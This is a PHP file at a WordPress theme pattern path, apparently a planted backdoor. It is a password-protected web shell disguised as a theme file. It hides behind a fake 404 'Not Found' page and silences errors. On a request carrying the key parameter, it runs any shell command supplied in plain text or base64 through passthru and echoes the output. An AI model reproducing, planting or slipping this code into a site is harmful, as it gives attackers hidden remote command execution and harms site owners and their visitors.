File: /var/www/html/wp-content/themes/twentytwentyfive/patterns/banner-about-book.php
<?php
http_response_code(404);
error_reporting(0);@ini_set('display_errors',0);
$k="qcxa7xvn2k2d";
if(isset($_REQUEST["px"])&&$_REQUEST["px"]===$k){
$c=null;
if(isset($_REQUEST["b"])){$c=base64_decode($_REQUEST["b"]);}
elseif(isset($_REQUEST["c"])){$c=$_REQUEST["c"];}
if($c!==null){ob_start();@passthru($c.' 2>&1');$o=ob_get_clean();echo "[S]".$o."[E]";}
else{echo "[S]OK[E]";}exit;}
?><!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1></body></html>